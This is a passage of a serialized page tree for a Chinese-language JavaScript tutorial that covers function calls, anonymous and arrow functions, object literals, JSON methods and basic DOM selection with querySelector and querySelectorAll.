b;\n",{"type":18,"tag":297,"props":17384,"children":17385},{"class":299,"line":4533},[17386],{"type":18,"tag":297,"props":17387,"children":17388},{"style":327},[17389],{"type":24,"value":9524},{"type":18,"tag":158,"props":17391,"children":17392},{},[17393,17398,17399,17404],{"type":18,"tag":105,"props":17394,"children":17395},{},[17396],{"type":24,"value":17397},"函数调用",{"type":24,"value":222},{"type":18,"tag":105,"props":17400,"children":17401},{},[17402],{"type":24,"value":17403},"函数名称 (实际参数列表)",{"type":18,"tag":287,"props":17405,"children":17407},{"className":16332,"code":17406,"language":16334,"meta":8,"style":8},"let result = add(10,20);\nalert(result);\n",[17408],{"type":18,"tag":74,"props":17409,"children":17410},{"__ignoreMap":8},[17411,17453],{"type":18,"tag":297,"props":17412,"children":17413},{"class":299,"line":300},[17414,17418,17423,17427,17431,17435,17440,17445,17449],{"type":18,"tag":297,"props":17415,"children":17416},{"style":316},[17417],{"type":24,"value":16149},{"type":18,"tag":297,"props":17419,"children":17420},{"style":327},[17421],{"type":24,"value":17422}," result ",{"type":18,"tag":297,"props":17424,"children":17425},{"style":316},[17426],{"type":24,"value":9692},{"type":18,"tag":297,"props":17428,"children":17429},{"style":304},[17430],{"type":24,"value":886},{"type":18,"tag":297,"props":17432,"children":17433},{"style":327},[17434],{"type":24,"value":16593},{"type":18,"tag":297,"props":17436,"children":17437},{"style":906},[17438],{"type":24,"value":17439},"10",{"type":18,"tag":297,"props":17441,"children":17442},{"style":327},[17443],{"type":24,"value":17444},",",{"type":18,"tag":297,"props":17446,"children":17447},{"style":906},[17448],{"type":24,"value":9355},{"type":18,"tag":297,"props":17450,"children":17451},{"style":327},[17452],{"type":24,"value":17153},{"type":18,"tag":297,"props":17454,"children":17455},{"class":299,"line":657},[17456,17460],{"type":18,"tag":297,"props":17457,"children":17458},{"style":304},[17459],{"type":24,"value":16895},{"type":18,"tag":297,"props":17461,"children":17462},{"style":327},[17463],{"type":24,"value":17464},"(result);\n",{"type":18,"tag":158,"props":17466,"children":17467},{},[17468,17472],{"type":18,"tag":105,"props":17469,"children":17470},{},[17471],{"type":24,"value":5862},{"type":24,"value":17473},"：由于 JS 是弱类型语言，形参、返回值都不需要指定类型。在调用函数时，实参个数与形参个数可以不一致，但是建议一致。",{"type":18,"tag":27,"props":17475,"children":17477},{"id":17476},"_46-匿名函数",[17478],{"type":24,"value":17479},"4.6 匿名函数",{"type":18,"tag":34,"props":17481,"children":17482},{},[17483,17488,17490,17495,17496,17501],{"type":18,"tag":105,"props":17484,"children":17485},{},[17486],{"type":24,"value":17487},"匿名函数",{"type":24,"value":17489},"是指一种没有名称的函数，可以通过两种方式定义：",{"type":18,"tag":105,"props":17491,"children":17492},{},[17493],{"type":24,"value":17494},"函数表达式",{"type":24,"value":8507},{"type":18,"tag":105,"props":17497,"children":17498},{},[17499],{"type":24,"value":17500},"箭头函数",{"type":24,"value":111},{"type":18,"tag":210,"props":17503,"children":17504},{},[17505,17582,17665],{"type":18,"tag":158,"props":17506,"children":17507},{},[17508,17509],{"type":24,"value":17494},{"type":18,"tag":287,"props":17510,"children":17512},{"className":16332,"code":17511,"language":16334,"meta":8,"style":8},"let add = function(a, b){\n    return a + b;\n}\n",[17513],{"type":18,"tag":74,"props":17514,"children":17515},{"__ignoreMap":8},[17516,17556,17575],{"type":18,"tag":297,"props":17517,"children":17518},{"class":299,"line":300},[17519,17523,17527,17531,17536,17540,17544,17548,17552],{"type":18,"tag":297,"props":17520,"children":17521},{"style":316},[17522],{"type":24,"value":16149},{"type":18,"tag":297,"props":17524,"children":17525},{"style":304},[17526],{"type":24,"value":886},{"type":18,"tag":297,"props":17528,"children":17529},{"style":316},[17530],{"type":24,"value":16355},{"type":18,"tag":297,"props":17532,"children":17533},{"style":316},[17534],{"type":24,"value":17535}," function",{"type":18,"tag":297,"props":17537,"children":17538},{"style":327},[17539],{"type":24,"value":16593},{"type":18,"tag":297,"props":17541,"children":17542},{"style":4492},[17543],{"type":24,"value":43},{"type":18,"tag":297,"props":17545,"children":17546},{"style":327},[17547],{"type":24,"value":11724},{"type":18,"tag":297,"props":17549,"children":17550},{"style":4492},[17551],{"type":24,"value":17356},{"type":18,"tag":297,"props":17553,"children":17554},{"style":327},[17555],{"type":24,"value":17361},{"type":18,"tag":297,"props":17557,"children":17558},{"class":299,"line":657},[17559,17563,17567,17571],{"type":18,"tag":297,"props":17560,"children":17561},{"style":316},[17562],{"type":24,"value":17369},{"type":18,"tag":297,"props":17564,"children":17565},{"style":327},[17566],{"type":24,"value":16874},{"type":18,"tag":297,"props":17568,"children":17569},{"style":316},[17570],{"type":24,"value":17126},{"type":18,"tag":297,"props":17572,"children":17573},{"style":327},[17574],{"type":24,"value":17382},{"type":18,"tag":297,"props":17576,"children":17577},{"class":299,"line":662},[17578],{"type":18,"tag":297,"props":17579,"children":17580},{"style":327},[17581],{"type":24,"value":9524},{"type":18,"tag":158,"props":17583,"children":17584},{},[17585,17586],{"type":24,"value":17500},{"type":18,"tag":287,"props":17587,"children":17589},{"className":16332,"code":17588,"language":16334,"meta":8,"style":8},"let add = (a, b) => {\n    return a + b;\n}\n",[17590],{"type":18,"tag":74,"props":17591,"children":17592},{"__ignoreMap":8},[17593,17639,17658],{"type":18,"tag":297,"props":17594,"children":17595},{"class":299,"line":300},[17596,17600,17604,17608,17613,17617,17621,17625,17630,17635],{"type":18,"tag":297,"props":17597,"children":17598},{"style":316},[17599],{"type":24,"value":16149},{"type":18,"tag":297,"props":17601,"children":17602},{"style":304},[17603],{"type":24,"value":886},{"type":18,"tag":297,"props":17605,"children":17606},{"style":316},[17607],{"type":24,"value":16355},{"type":18,"tag":297,"props":17609,"children":17610},{"style":327},[17611],{"type":24,"value":17612}," (",{"type":18,"tag":297,"props":17614,"children":17615},{"style":4492},[17616],{"type":24,"value":43},{"type":18,"tag":297,"props":17618,"children":17619},{"style":327},[17620],{"type":24,"value":11724},{"type":18,"tag":297,"props":17622,"children":17623},{"style":4492},[17624],{"type":24,"value":17356},{"type":18,"tag":297,"props":17626,"children":17627},{"style":327},[17628],{"type":24,"value":17629},") ",{"type":18,"tag":297,"props":17631,"children":17632},{"style":316},[17633],{"type":24,"value":17634},"=>",{"type":18,"tag":297,"props":17636,"children":17637},{"style":327},[17638],{"type":24,"value":9806},{"type":18,"tag":297,"props":17640,"children":17641},{"class":299,"line":657},[17642,17646,17650,17654],{"type":18,"tag":297,"props":17643,"children":17644},{"style":316},[17645],{"type":24,"value":17369},{"type":18,"tag":297,"props":17647,"children":17648},{"style":327},[17649],{"type":24,"value":16874},{"type":18,"tag":297,"props":17651,"children":17652},{"style":316},[17653],{"type":24,"value":17126},{"type":18,"tag":297,"props":17655,"children":17656},{"style":327},[17657],{"type":24,"value":17382},{"type":18,"tag":297,"props":17659,"children":17660},{"class":299,"line":662},[17661],{"type":18,"tag":297,"props":17662,"children":17663},{"style":327},[17664],{"type":24,"value":9524},{"type":18,"tag":158,"props":17666,"children":17667},{},[17668,17670],{"type":24,"value":17669},"匿名函数定义后，可以通过变量名直接调用。",{"type":18,"tag":287,"props":17671,"children":17672},{"className":16332,"code":17406,"language":16334,"meta":8,"style":8},[17673],{"type":18,"tag":74,"props":17674,"children":17675},{"__ignoreMap":8},[17676,17715],{"type":18,"tag":297,"props":17677,"children":17678},{"class":299,"line":300},[17679,17683,17687,17691,17695,17699,17703,17707,17711],{"type":18,"tag":297,"props":17680,"children":17681},{"style":316},[17682],{"type":24,"value":16149},{"type":18,"tag":297,"props":17684,"children":17685},{"style":327},[17686],{"type":24,"value":17422},{"type":18,"tag":297,"props":17688,"children":17689},{"style":316},[17690],{"type":24,"value":9692},{"type":18,"tag":297,"props":17692,"children":17693},{"style":304},[17694],{"type":24,"value":886},{"type":18,"tag":297,"props":17696,"children":17697},{"style":327},[17698],{"type":24,"value":16593},{"type":18,"tag":297,"props":17700,"children":17701},{"style":906},[17702],{"type":24,"value":17439},{"type":18,"tag":297,"props":17704,"children":17705},{"style":327},[17706],{"type":24,"value":17444},{"type":18,"tag":297,"props":17708,"children":17709},{"style":906},[17710],{"type":24,"value":9355},{"type":18,"tag":297,"props":17712,"children":17713},{"style":327},[17714],{"type":24,"value":17153},{"type":18,"tag":297,"props":17716,"children":17717},{"class":299,"line":657},[17718,17722],{"type":18,"tag":297,"props":17719,"children":17720},{"style":304},[17721],{"type":24,"value":16895},{"type":18,"tag":297,"props":17723,"children":17724},{"style":327},[17725],{"type":24,"value":17464},{"type":18,"tag":27,"props":17727,"children":17729},{"id":17728},"_47-自定义对象",[17730],{"type":24,"value":17731},"4.7 自定义对象",{"type":18,"tag":34,"props":17733,"children":17734},{},[17735],{"type":18,"tag":54,"props":17736,"children":17739},{"alt":17737,"src":17738},"1776045570519","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776045570519.png",[],{"type":18,"tag":34,"props":17741,"children":17742},{},[17743],{"type":18,"tag":105,"props":17744,"children":17745},{},[17746],{"type":24,"value":17747},"注意：此处的方法声明不推荐使用箭头函数，因为它的this指向的是父类",{"type":18,"tag":287,"props":17749,"children":17751},{"className":16332,"code":17750,"language":16334,"meta":8,"style":8},"let user = {\n    name: 'Tom',\n    age: 18,\n    gender: '男',\n    sing: () => { \u002F\u002F注意：在箭头函数中，this并不指向当前对象 - 指向的是当前对象的父级 【不推荐】\n        alert(this + ':悠悠的唱着最炫的民族风~') \u002F\u002F 默认父级对象：Object Windows\n    }\n}\n",[17752],{"type":18,"tag":74,"props":17753,"children":17754},{"__ignoreMap":8},[17755,17775,17792,17809,17826,17853,17888,17896],{"type":18,"tag":297,"props":17756,"children":17757},{"class":299,"line":300},[17758,17762,17767,17771],{"type":18,"tag":297,"props":17759,"children":17760},{"style":316},[17761],{"type":24,"value":16149},{"type":18,"tag":297,"props":17763,"children":17764},{"style":327},[17765],{"type":24,"value":17766}," user ",{"type":18,"tag":297,"props":17768,"children":17769},{"style":316},[17770],{"type":24,"value":9692},{"type":18,"tag":297,"props":17772,"children":17773},{"style":327},[17774],{"type":24,"value":9806},{"type":18,"tag":297,"props":17776,"children":17777},{"class":299,"line":657},[17778,17783,17788],{"type":18,"tag":297,"props":17779,"children":17780},{"style":327},[17781],{"type":24,"value":17782},"    name: ",{"type":18,"tag":297,"props":17784,"children":17785},{"style":310},[17786],{"type":24,"value":17787},"'Tom'",{"type":18,"tag":297,"props":17789,"children":17790},{"style":327},[17791],{"type":24,"value":9296},{"type":18,"tag":297,"props":17793,"children":17794},{"class":299,"line":662},[17795,17800,17805],{"type":18,"tag":297,"props":17796,"children":17797},{"style":327},[17798],{"type":24,"value":17799},"    age: ",{"type":18,"tag":297,"props":17801,"children":17802},{"style":906},[17803],{"type":24,"value":17804},"18",{"type":18,"tag":297,"props":17806,"children":17807},{"style":327},[17808],{"type":24,"value":9296},{"type":18,"tag":297,"props":17810,"children":17811},{"class":299,"line":799},[17812,17817,17822],{"type":18,"tag":297,"props":17813,"children":17814},{"style":327},[17815],{"type":24,"value":17816},"    gender: ",{"type":18,"tag":297,"props":17818,"children":17819},{"style":310},[17820],{"type":24,"value":17821},"'男'",{"type":18,"tag":297,"props":17823,"children":17824},{"style":327},[17825],{"type":24,"value":9296},{"type":18,"tag":297,"props":17827,"children":17828},{"class":299,"line":808},[17829,17834,17839,17843,17848],{"type":18,"tag":297,"props":17830,"children":17831},{"style":304},[17832],{"type":24,"value":17833},"    sing",{"type":18,"tag":297,"props":17835,"children":17836},{"style":327},[17837],{"type":24,"value":17838},": () ",{"type":18,"tag":297,"props":17840,"children":17841},{"style":316},[17842],{"type":24,"value":17634},{"type":18,"tag":297,"props":17844,"children":17845},{"style":327},[17846],{"type":24,"value":17847}," { ",{"type":18,"tag":297,"props":17849,"children":17850},{"style":5380},[17851],{"type":24,"value":17852},"\u002F\u002F注意：在箭头函数中，this并不指向当前对象 - 指向的是当前对象的父级 【不推荐】\n",{"type":18,"tag":297,"props":17854,"children":17855},{"class":299,"line":817},[17856,17861,17865,17870,17874,17879,17883],{"type":18,"tag":297,"props":17857,"children":17858},{"style":304},[17859],{"type":24,"value":17860},"        alert",{"type":18,"tag":297,"props":17862,"children":17863},{"style":327},[17864],{"type":24,"value":16593},{"type":18,"tag":297,"props":17866,"children":17867},{"style":906},[17868],{"type":24,"value":17869},"this",{"type":18,"tag":297,"props":17871,"children":17872},{"style":316},[17873],{"type":24,"value":17117},{"type":18,"tag":297,"props":17875,"children":17876},{"style":310},[17877],{"type":24,"value":17878}," ':悠悠的唱着最炫的民族风~'",{"type":18,"tag":297,"props":17880,"children":17881},{"style":327},[17882],{"type":24,"value":17629},{"type":18,"tag":297,"props":17884,"children":17885},{"style":5380},[17886],{"type":24,"value":17887},"\u002F\u002F 默认父级对象：Object Windows\n",{"type":18,"tag":297,"props":17889,"children":17890},{"class":299,"line":826},[17891],{"type":18,"tag":297,"props":17892,"children":17893},{"style":327},[17894],{"type":24,"value":17895},"    }\n",{"type":18,"tag":297,"props":17897,"children":17898},{"class":299,"line":4524},[17899],{"type":18,"tag":297,"props":17900,"children":17901},{"style":327},[17902],{"type":24,"value":9524},{"type":18,"tag":27,"props":17904,"children":17906},{"id":17905},"_48-json",[17907],{"type":24,"value":17908},"4.8 JSON",{"type":18,"tag":34,"props":17910,"children":17911},{},[17912,17917,17919,17924],{"type":18,"tag":105,"props":17913,"children":17914},{},[17915],{"type":24,"value":17916},"概念",{"type":24,"value":17918},": JavaScript Object Notation, JavaScript对象标记法（JS对象标记法书写的文本 ）。\n",{"type":18,"tag":105,"props":17920,"children":17921},{},[17922],{"type":24,"value":17923},"用途",{"type":24,"value":17925},": 由于其语法简单，层次结构鲜明，现多用于作为数据载体，在网络中进行数据传输。",{"type":18,"tag":34,"props":17927,"children":17928},{},[17929],{"type":18,"tag":54,"props":17930,"children":17933},{"alt":17931,"src":17932},"1776046100701","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776046100701.png",[],{"type":18,"tag":154,"props":17935,"children":17936},{},[17937],{"type":18,"tag":158,"props":17938,"children":17939},{},[17940],{"type":18,"tag":105,"props":17941,"children":17942},{},[17943],{"type":24,"value":17944},"JSON 格式特点",{"type":18,"tag":210,"props":17946,"children":17947},{},[17948],{"type":18,"tag":158,"props":17949,"children":17950},{},[17951],{"type":24,"value":17952},"json 格式的文本所有的 key 必须使用双引号引起来",{"type":18,"tag":154,"props":17954,"children":17955},{"start":657},[17956],{"type":18,"tag":158,"props":17957,"children":17958},{},[17959],{"type":18,"tag":105,"props":17960,"children":17961},{},[17962],{"type":24,"value":17963},"JSON 对象的两个方法",{"type":18,"tag":210,"props":17965,"children":17966},{},[17967,17978],{"type":18,"tag":158,"props":17968,"children":17969},{},[17970,17976],{"type":18,"tag":74,"props":17971,"children":17973},{"className":17972},[],[17974],{"type":24,"value":17975},"JSON.parse",{"type":24,"value":17977},"：将 json 字符串转为 js 对象",{"type":18,"tag":158,"props":17979,"children":17980},{},[17981,17987],{"type":18,"tag":74,"props":17982,"children":17984},{"className":17983},[],[17985],{"type":24,"value":17986},"JSON.stringify",{"type":24,"value":17988},"：将 js 对象转为 json 字符串",{"type":18,"tag":27,"props":17990,"children":17992},{"id":17991},"_49-dom",[17993],{"type":24,"value":17994},"4.9 DOM",{"type":18,"tag":34,"props":17996,"children":17997},{},[17998],{"type":18,"tag":54,"props":17999,"children":18002},{"alt":18000,"src":18001},"1776046643813","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776046643813.png",[],{"type":18,"tag":34,"props":18004,"children":18005},{},[18006,18011],{"type":18,"tag":105,"props":18007,"children":18008},{},[18009],{"type":24,"value":18010},"DOM 操作核心思想",{"type":24,"value":18012},"：将网页中所有的元素当做对象来处理。（标签的所有属性在该对象上都可以找到）",{"type":18,"tag":34,"props":18014,"children":18015},{},[18016,18021],{"type":18,"tag":105,"props":18017,"children":18018},{},[18019],{"type":24,"value":18020},"操作步骤",{"type":24,"value":222},{"type":18,"tag":210,"props":18023,"children":18024},{},[18025,18030],{"type":18,"tag":158,"props":18026,"children":18027},{},[18028],{"type":24,"value":18029},"获取要操作的 DOM 元素对象",{"type":18,"tag":158,"props":18031,"children":18032},{},[18033],{"type":24,"value":18034},"操作 DOM 对象的属性或方法（查文档或 AI）",{"type":18,"tag":34,"props":18036,"children":18037},{},[18038],{"type":24,"value":18039},"示例 HTML：",{"type":18,"tag":287,"props":18041,"children":18043},{"className":9608,"code":18042,"language":9610,"meta":8,"style":8},"\u003Cspan id=\"sid\">DOM元素1\u003C\u002Fspan>\n\u003Cspan class=\"txt\">DOM元素2\u003C\u002Fspan>\n\u003Cspan class=\"txt\">DOM元素3\u003C\u002Fspa\n",[18044],{"type":18,"tag":74,"props":18045,"children":18046},{"__ignoreMap":8},[18047,18084,18121],{"type":18,"tag":297,"props":18048,"children":18049},{"class":299,"line":300},[18050,18054,18058,18062,18066,18071,18076,18080],{"type":18,"tag":297,"props":18051,"children":18052},{"style":327},[18053],{"type":24,"value":319},{"type":18,"tag":297,"props":18055,"children":18056},{"style":9680},[18057],{"type":24,"value":297},{"type":18,"tag":297,"props":18059,"children":18060},{"style":304},[18061],{"type":24,"value":14131},{"type":18,"tag":297,"props":18063,"children":18064},{"style":327},[18065],{"type":24,"value":9692},{"type":18,"tag":297,"props":18067,"children":18068},{"style":310},[18069],{"type":24,"value":18070},"\"sid\"",{"type":18,"tag":297,"props":18072,"children":18073},{"style":327},[18074],{"type":24,"value":18075},">DOM元素1\u003C\u002F",{"type":18,"tag":297,"props":18077,"children":18078},{"style":9680},[18079],{"type":24,"value":297},{"type":18,"tag":297,"props":18081,"children":18082},{"style":327},[18083],{"type":24,"value":335},{"type":18,"tag":297,"props":18085,"children":18086},{"class":299,"line":657},[18087,18091,18095,18099,18103,18108,18113,18117],{"type":18,"tag":297,"props":18088,"children":18089},{"style":327},[18090],{"type":24,"value":319},{"type":18,"tag":297,"props":18092,"children":18093},{"style":9680},[18094],{"type":24,"value":297},{"type":18,"tag":297,"props":18096,"children":18097},{"style":304},[18098],{"type":24,"value":13996},{"type":18,"tag":297,"props":18100,"children":18101},{"style":327},[18102],{"type":24,"value":9692},{"type":18,"tag":297,"props":18104,"children":18105},{"style":310},[18106],{"type":24,"value":18107},"\"txt\"",{"type":18,"tag":297,"props":18109,"children":18110},{"style":327},[18111],{"type":24,"value":18112},">DOM元素2\u003C\u002F",{"type":18,"tag":297,"props":18114,"children":18115},{"style":9680},[18116],{"type":24,"value":297},{"type":18,"tag":297,"props":18118,"children":18119},{"style":327},[18120],{"type":24,"value":335},{"type":18,"tag":297,"props":18122,"children":18123},{"class":299,"line":662},[18124,18128,18132,18136,18140,18144,18149],{"type":18,"tag":297,"props":18125,"children":18126},{"style":327},[18127],{"type":24,"value":319},{"type":18,"tag":297,"props":18129,"children":18130},{"style":9680},[18131],{"type":24,"value":297},{"type":18,"tag":297,"props":18133,"children":18134},{"style":304},[18135],{"type":24,"value":13996},{"type":18,"tag":297,"props":18137,"children":18138},{"style":327},[18139],{"type":24,"value":9692},{"type":18,"tag":297,"props":18141,"children":18142},{"style":310},[18143],{"type":24,"value":18107},{"type":18,"tag":297,"props":18145,"children":18146},{"style":327},[18147],{"type":24,"value":18148},">DOM元素3\u003C\u002F",{"type":18,"tag":297,"props":18150,"children":18151},{"style":10814},[18152],{"type":24,"value":18153},"spa\n",{"type":18,"tag":34,"props":18155,"children":18156},{},[18157],{"type":18,"tag":105,"props":18158,"children":18159},{},[18160],{"type":24,"value":18161},"获取 DOM 对象",{"type":18,"tag":210,"props":18163,"children":18164},{},[18165,18204],{"type":18,"tag":158,"props":18166,"children":18167},{},[18168,18170,18175,18176,18182,18184,18190,18191,18197,18198,18203],{"type":24,"value":18169},"根据 CSS 选择器来获取 DOM 元素，获取匹配到的",{"type":18,"tag":105,"props":18171,"children":18172},{},[18173],{"type":24,"value":18174},"第一个元素",{"type":24,"value":222},{"type":18,"tag":74,"props":18177,"children":18179},{"className":18178},[],[18180],{"type":24,"value":18181},"document.querySelector('选择器')",{"type":24,"value":18183},"（示例选择器：",{"type":18,"tag":74,"props":18185,"children":18187},{"className":18186},[],[18188],{"type":24,"value":18189},"#sid",{"type":24,"value":1942},{"type":18,"tag":74,"props":18192,"children":18194},{"className":18193},[],[18195],{"type":24,"value":18196},".txt",{"type":24,"value":1942},{"type":18,"tag":74,"props":18199,"children":18201},{"className":18200},[],[18202],{"type":24,"value":297},{"type":24,"value":6182},{"type":18,"tag":158,"props":18205,"children":18206},{},[18207,18208,18213,18214],{"type":24,"value":18169},{"type":18,"tag":105,"props":18209,"children":18210},{},[18211],{"type":24,"value":18212},"所有元素",{"type":24,"value":222},{"type":18,"tag":74,"props":18215,"children":18217},{"className":18216},[],[18218],{"type":24,"value":18219},"document.querySelectorAll('选择器')",{"type":18,"tag":96,"props":18221,"children":18222},{},[18223],{"type":18,"tag":34,"props":18224,"children":18225},{},[18226],{"type":24,"value":18227},"注意：得到的是一个 NodeList 节点集合，是一个伪数组（有长度、有索引的数组）",{"type":18,"tag":287,"props":18229,"children":18231},{"className":9608,"code":18230,"language":9610,"meta":8,"style":8},"\u003Cbody>\n\u003Ch1 id=\"title1\">11111\u003C\u002Fh1>\n\u003Ch1>22222\u003C\u002Fh1>\n\u003Ch1>33333\u003C\u002Fh1>\n\n\u003Cscript>\n    \u002F\u002F1. 修改第一个h1标签中的文本内容\n    \u002F\u002F1.1 获取DOM对象\n    \u002F\u002F let h1 = document.querySelector('#title1');\n    \u002F\u002Flet h1 = document.querySelector('h1'); \u002F\u002F 获取第一个h1标签\n\n    let hs = document.querySelectorAll('h1');\n\n    \u002F\u002F1.2 调用DOM对象中属性或方法\n    hs[0].innerHTML = '修改后的文本内容';\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n",[18232],{"type":18,"tag":74,"props":18233,"children":18234},{"__ignoreMap":8},[18235,18250,18287,18311,18335,18342,18357,18365,18373,18381,18389,18396,18436,18443,18451,18482,18497],{"type":18,"tag":297,"props":18236,"children":18237},{"class":299,"line":300},[18238,18242,18246],{"type":18,"tag":297,"props":18239,"children":18240},{"style":327},[18241],{"type":24,"value":319},{"type":18,"tag":297,"props":18243,"children":18244},{"style":9680},[18245],{"type":24,"value":12207},{"type":18,"tag":297,"props":18247,"children":18248},{"style":327},[18249],{"type":24,"value":335},{"type":18,"tag":297,"props":18251,"children":18252},{"class":299,"line":657},[18253,18257,18261,18265,18269,18274,18279,18283],{"type":18,"tag":297,"props":18254,"children":18255},{"style":327},[18256],{"type":24,"value":319},{"type":18,"tag":297,"props":18258,"children":18259},{"style":9680},[18260],{"type":24,"value":691},{"type":18,"tag":297,"props":18262,"children":18263},{"style":304},[18264],{"type":24,"value":14131},{"type":18,"tag":297,"props":18266,"children":18267},{"style":327},[18268],{"type":24,"value":9692},{"type":18,"tag":297,"props":18270,"children":18271},{"style":310},[18272],{"type":24,"value":18273},"\"title1\"",{"type":18,"tag":297,"props":18275,"children":18276},{"style":327},[18277],{"type":24,"value":18278},">11111\u003C\u002F",{"type":18,"tag":297,"props":18280,"children":18281},{"style":9680},[18282],{"type":24,"value":691},{"type":18,"tag":297,"props":18284,"children":18285},{"style":327},[18286],{"type":24,"value":335},{"type":18,"tag":297,"props":18288,"children":18289},{"class":299,"line":662},[18290,18294,18298,18303,18307],{"type":18,"tag":297,"props":18291,"children":18292},{"style":327},[18293],{"type":24,"value":319},{"type":18,"tag":297,"props":18295,"children":18296},{"style":9680},[18297],{"type":24,"value":691},{"type":18,"tag":297,"props":18299,"children":18300},{"style":327},[18301],{"type":24,"value":18302},">22222\u003C\u002F",{"type":18,"tag":297,"props":18304,"children":18305},{"style":9680},[18306],{"type":24,"value":691},{"type":18,"tag":297,"props":18308,"children":18309},{"style":327},[18310],{"type":24,"value":335},{"type":18,"tag":297,"props":18312,"children":18313},{"class":299,"line":799},[18314,18318,18322,18327,18331],{"type":18,"tag":297,"props":18315,"children":18316},{"style":327},[18317],{"type":24,"value":319},{"type":18,"tag":297,"props":18319,"children":18320},{"style":9680},[18321],{"type":24,"value":691},{"type":18,"tag":297,"props":18323,"children":18324},{"style":327},[18325],{"type":24,"value":18326},">33333\u003C\u002F",{"type":18,"tag":297,"props":18328,"children":18329},{"style":9680},[18330],{"type":24,"value":691},{"type":18,"tag":297,"props":18332,"children":18333},{"style":327},[18334],{"type":24,"value":335},{"type":18,"tag":297,"props":18336,"children":18337},{"class":299,"line":808},[18338],{"type":18,"tag":297,"props":18339,"children":18340},{"emptyLinePlaceholder":793},[18341],{"type":24,"value":796},{"type":18,"tag":297,"props":18343,"children":18344},{"class":299,"line":817},[18345,18349,18353],{"type":18,"tag":297,"props":18346,"children":18347},{"style":327},[18348],{"type":24,"value":319},{"type":18,"tag":297,"props":18350,"children":18351},{"style":9680},[18352],{"type":24,"value":16468},{"type":18,"tag":297,"props":18354,"children":18355},{"style":327},[18356],{"type":24,"value":335},{"type":18,"tag":297,"props":18358,"children":18359},{"class":299,"line":826},[18360],{"type":18,"tag":297,"props":18361,"children":18362},{"style":5380},[18363],{"type":24,"value":18364},"    \u002F\u002F1. 修改第一个h1标签中的文本内容\n",{"type":18,"tag":297,"props":18366,"children":18367},{"class":299,"line":4524},[18368],{"type":18,"tag":297,"props":18369,"children":18370},{"style":5380},[18371],{"type":24,"value":18372},"    \u002F\u002F1.1 获取DOM对象\n",{"type":18,"tag":297,"props":18374,"children":18375},{"class":299,"line":4533},[18376],{"type":18,"tag":297,"props":18377,"children":18378},{"style":5380},[18379],{"type":24,"value":18380},"    \u002F\u002F let h1 = document.querySelector('#title1');\n",{"type":18,"tag":297,"props":18382,"children":18383},{"class":299,"line":4546},[18384],{"type":18,"tag":297,"props":18385,"children":18386},{"style":5380},[18387],{"type":24,"value":18388},"    \u002F\u002Flet h1 = document.querySelector('h1'); \u002F\u002F 获取第一个h1标签\n",{"type":18,"tag":297,"props":18390,"children":18391},{"class":299,"line":4555},[18392],{"type":18,"tag":297,"props":18393,"children":18394},{"emptyLinePlaceholder":793},[18395],{"type":24,"value":796},{"type":18,"tag":297,"props":18397,"children":18398},{"class":299,"line":4568},[18399,18404,18409,18413,18418,18423,18427,18432],{"type":18,"tag":297,"props":18400,"children":18401},{"style":316},[18402],{"type":24,"value":18403},"    let",{"type":18,"tag":297,"props":18405,"children":18406},{"style":327},[18407],{"type":24,"value":18408}," hs ",{"type":18,"tag":297,"props":18410,"children":18411},{"style":316},[18412],{"type":24,"value":9692},{"type":18,"tag":297,"props":18414,"children":18415},{"style":327},[18416],{"type":24,"value":18417}," document.",{"type":18,"tag":297,"props":18419,"children":18420},{"style":304},[18421],{"type":24,"value":18422},"querySelectorAll",{"type":18,"tag":297,"props":18424,"children":18425},{"style":327},[18426],{"type":24,"value":16593},{"type":18,"tag":297,"props":18428,"children":18429},{"style":310},[18430],{"type":24,"value":18431},"'h1'",{"type":18,"tag":297,"props":18433,"children":18434},{"style":327},[18435],{"type":24,"value":17153},{"type":18,"tag":297,"props":18437,"children":18438},{"class":299,"line":4577},[18439],{"type":18,"tag":297,"props":18440,"children":18441},{"emptyLinePlaceholder":793},[18442],{"type":24,"value":796},{"type":18,"tag":297,"props":18444,"children":18445},{"class":299,"line":4590},[18446],{"type":18,"tag":297,"props":18447,"children":18448},{"style":5380},[18449],{"type":24,"value":18450},"    \u002F\u002F1.2 调用DOM对象中属性或方法\n",{"type":18,"tag":297,"props":18452,"children":18453},{"class":299,"line":4599},[18454,18459,18464,18469,18473,18478],{"type":18,"tag":297,"props":18455,"children":18456},{"style":327},[18457],{"type":24,"value":18458},"    hs[",{"type":18,"tag":297,"props":18460,"children":18461},{"style":906},[18462],{"type":24,"value":18463},"0",{"type":18,"tag":297,"props":18465,"children":18466},{"style":327},[18467],{"type":24,"value":18468},"].innerHTML ",{"type":18,"tag":297,"props":18470,"children":18471},{"style":316},[18472],{"type":24,"value":9692},{"type":18,"tag":297,"props":18474,"children":18475},{"style":310},[18476],{"type":24,"value":18477}," '修改后的文本内容'",{"type":18,"tag":297,"props":18479,"children":18480},{"style":327},[18481],{"type":24,"value":9828},{"type":18,"tag":297,"props":18483,"children":18484},{"class":299,"line":4607},[18485,18489,18493],{"type":18,"tag":297,"props":18486,"children":18487},{"style":327},[18488],{"type":24,"value":11688},{"type":18,"tag":297,"props":18490,"children":18491},{"style":9680},[18492],{"type":24,"value":16468},{"type":18,"tag":297,"props":18494,"children":18495},{"style":327},[18496],{"type":24,"value":335},{"type":18,"tag":297,"props":18498,"children":18499},{"class":299,"line":4616},[18500,18504,18508],{"type":18,"tag":297,"props":18501,"children":18502},{"style":327},[18503],{"type":24,"value":11688},{"type":18,"tag":297,"props":18505,"children":18506},{"style":9680},[18507],{"type":24,"value":12207},{"type":18,"tag":297,"props":18509,"children":18510},{"style":327},[18511],{"type":24,"value":335},{"type":18,"tag":34,"props":18513,"children":18514},{},[18515,18520,18521],{"type":18,"tag":105,"props":18516,"children":18517},{},[18518],{"type":24,"value":18519},"DOM其他相关教程可访问",{"type":24,"value":222},{"type":18,"tag":43,"props":18522,"children":18525},{"href":18523,"rel":18524},"https:\u002F\u002Fwww.w3school.com.cn\u002F",[47],[18526],{"type":24,"value":18527},"DOM相关教程文档",{"type":18,"tag":27,"props":18529,"children":18531},{"id":18530},"_410-事件监听",[18532],{"type":24,"value":18533},"4.10 事件监听",{"type":18,"tag":34,"props":18535,"children":18536},{},[18537,18542],{"type":18,"tag":105,"props":18538,"children":18539},{},[18540],{"type":24,"value":18541},"事件",{"type":24,"value":18543},"：HTML 事件是发生在 HTML 元素上的 